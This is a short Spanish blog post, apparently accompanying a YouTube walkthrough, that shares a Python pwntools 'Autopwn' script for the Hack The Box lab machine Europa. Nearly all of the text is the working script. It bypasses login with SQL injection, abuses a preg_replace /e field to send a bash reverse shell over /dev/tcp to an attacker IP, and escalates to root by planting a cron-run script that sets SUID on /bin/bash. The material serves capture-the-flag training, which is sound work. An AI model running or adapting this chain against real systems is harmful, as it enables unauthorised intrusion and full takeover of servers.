Europa - Hack The Box

Una máquina muy interesante la cual resolvemos en mi canal de YouTube. En este caso, os comparto el script Autopwn que nos habíamos configurado en Python, donde tras su ejecución se nos automatiza la intrusión y la escalada de privilegios mediante el uso de la librería pwn.

Para los interesados en la resolución de esta máquina, os dejo el enlace al vídeo que subí a mi canal:

Script Autopwn

#!/usr/bin/python
#coding: utf-8

# Author: s4vitar https://www.youtube.com/watch?v=wOm4OOBLbys

import requests, sys, urllib3, signal, time, threading
from pwn import *

# Declaración de variables
url = "https://admin-portal.europacorp.htb/login.php"
url_openvpn = "https://admin-portal.europacorp.htb/tools.php"
lport = 443

signal.signal(signal.SIGINT, signal.SIG_DFL)

def obtainShell():

 s = None

 try:
  urllib3.disable_warnings()
  s = requests.session()
  s.verify = False
  s.keep_alive = False

  login_data = {
   'email' : "admin@europacorp.htb' OR '1' = '1",
   'password' : 'admin'
  }

  p1 = log.progress("Login")
  p1.status('Realizando inyección SQL')
  time.sleep(2)

  r = s.post(url, data=login_data)

  p1.status('Inyección SQL enviada')
  time.sleep(2)

  if "Dashboard" in r.text:
   p1.success("Inyección SQL realizada con éxito")
   time.sleep(1)
   log.success("Acceso al Dashboard garantizado")
   time.sleep(1)
  else:
   p1.failure("No ha sido posible realizar la inyección SQL")
   sys.exit()

  p2 = log.progress("Explotación")
  p2.status("Creando un nuevo fichero de configuración VPN")
  time.sleep(2)

  openvpn_config_file_data = {
   'pattern' : '/ip_address/e',
   'ipaddress' : """system("bash -c 'bash -i > /dev/tcp/10.10.14.55/443 0>&1'")""",
   'text' : 'ip_address = s4vitar'
  }

  p2.status("Enviando petición al servidor")
  time.sleep(2)

  r = s.post(url_openvpn, data=openvpn_config_file_data, timeout=1)

  p2.success("Petición enviada con éxito")
  time.sleep(1)

 except requests.exceptions.ReadTimeout:
  p2.success("Petición enviada con éxito")
  time.sleep(1)

 except:
  print "\n[*] Ha ocurrido un error...\n"
  sys.exit()

if __name__ == '__main__':

 try:
  threading.Thread(target=obtainShell).start()
 except Exception as e:
  log.error(str(e))

 shell = listen(lport, timeout=20).wait_for_connection()

 if shell.sock is None:
  log.failure("No se ha obtenido ninguna conexión")
  sys.exit()
 else:
  log.success("Se ha obtenido una conexión")
  time.sleep(1)
  log.info("Acceso al sistema como usuario www-data")
  time.sleep(1)

 p3 = log.progress("Escalación de privilegios")
 p3.status("Creando fichero logcleared.sh en el sistema")
 time.sleep(2)
 shell.sendline("echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /var/www/cmd/logcleared.sh; chmod +x /var/www/cmd/logcleared.sh")
 p3.status("Archivo logcleared.sh creado")
 time.sleep(120)
 p3.status("Obteniendo shell como root")
 shell.sendline("bash -p")
 p3.success("Pwned!!")
 shell.interactive()

 sys.exit()